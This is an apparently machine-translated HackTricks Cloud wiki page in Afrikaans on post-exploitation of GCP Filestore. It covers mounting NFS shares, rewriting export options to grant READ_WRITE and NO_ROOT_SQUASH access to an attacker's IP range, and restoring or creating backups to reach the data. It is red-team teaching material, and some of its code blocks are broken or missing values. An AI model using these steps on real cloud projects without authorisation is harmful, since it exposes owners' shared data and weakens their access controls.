GCP - Filestore Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Filestore

Vir meer inligting oor Filestore, kyk:

GCP - Filestore Enum

Koppel Filestore

’n gedeelde lĂȘerstelsel mag sensitiewe inligting bevat wat vir ’n aanvaller interessant is. Met toegang tot die Filestore is dit moontlik om dit te koppel:

Koppel Filestore lĂȘerstelsel ```bash sudo apt-get update sudo apt-get install nfs-common # Check the share name showmount -e # Mount the share mkdir /mnt/fs sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs ```

Om die IP address van ’n filestore instance te vind, kyk na die enumerasie-afdeling van die bladsy:

GCP - Filestore Enum

Verwyder beperkings en kry ekstra permissions

As die aanvaller nie vanaf ’n IP address met toegang tot die share is nie, maar jy het genoeg permissions om dit te wysig, is dit moontlik om die beperkings of toegang daarop te verwyder. Dit is ook moontlik om meer voorregte aan jou IP address te gee sodat jy admin-toegang tot die share kry:

Werk Filestore instance by om toegang toe te laat ```bash gcloud filestore instances update nfstest \ --zone= \ --flags-file=nfs.json

Contents of nfs.json

{ “–file-share”: { “capacity”: “1024”, “name”: “”, “nfs-export-options”: [ { “access-mode”: “READ_WRITE”, “ip-ranges”: [ “/32” ], “squash-mode”: “NO_ROOT_SQUASH”, “anon_uid”: 1003, “anon_gid”: 1003 } ] } }

</details>

### Herstel 'n rugsteun

As daar 'n rugsteun is, is dit moontlik om dit in 'n bestaande of in 'n nuwe instansie te **herstel** sodat die **inligting toeganklik word:**

<details>

<summary>Skep 'n nuwe instansie en herstel die rugsteun</summary>
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

Skep ’n backup en herstel dit

As jy nie toegang tot ’n share het en dit nie wil wysig nie, is dit moontlik om daarvan ’n backup te skep en dit te herstel soos voorheen genoem:

Skep backup en herstel in nuwe instance ```bash # Create share backup gcloud filestore backups create \ --region= \ --instance= \ --instance-zone= \ --file-share=

Follow the previous section commands to restore it and mount it

</details>

> [!TIP]
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>